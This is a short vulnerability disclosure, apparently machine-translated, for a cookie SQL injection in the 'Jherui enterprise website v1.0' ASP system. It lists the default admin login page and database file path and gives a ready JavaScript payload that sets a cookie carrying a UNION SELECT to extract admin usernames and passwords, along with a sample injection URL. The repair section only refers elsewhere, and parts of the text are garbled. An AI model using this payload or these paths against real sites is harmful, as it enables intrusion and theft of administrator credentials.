Jherui enterprise website v1.0 cookie injection vulnerability and repair

The enterprise website system is a small enterprise website source code customized for small and medium-sized enterprises. The code is open for free and can be modified and used independently, but it is strictly prohibited for commercial purposes. The front-end interface of the system is easy to clean and powerful. It is most suitable for enterprise-type websites.

Default background: admin/login. asp
Default database: database/% 23zhiyuan_date_1003.mdb
Official site: http://www.li07.com/demo/01/

Vulnerability: Causes of cookie Injection.


EXP:
Javascript: alert (document. cookie = "id =" + escape ("1 and 1 = 2 union select 1, 2, admin, password, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19,20 from admin "));

Injection point test:
Asp? Http://www.bkjia.com/demo/01/products.asp? Id = 1
Effect:


Fixed: Please refer to the cookies injection analysis and repair methods on this site.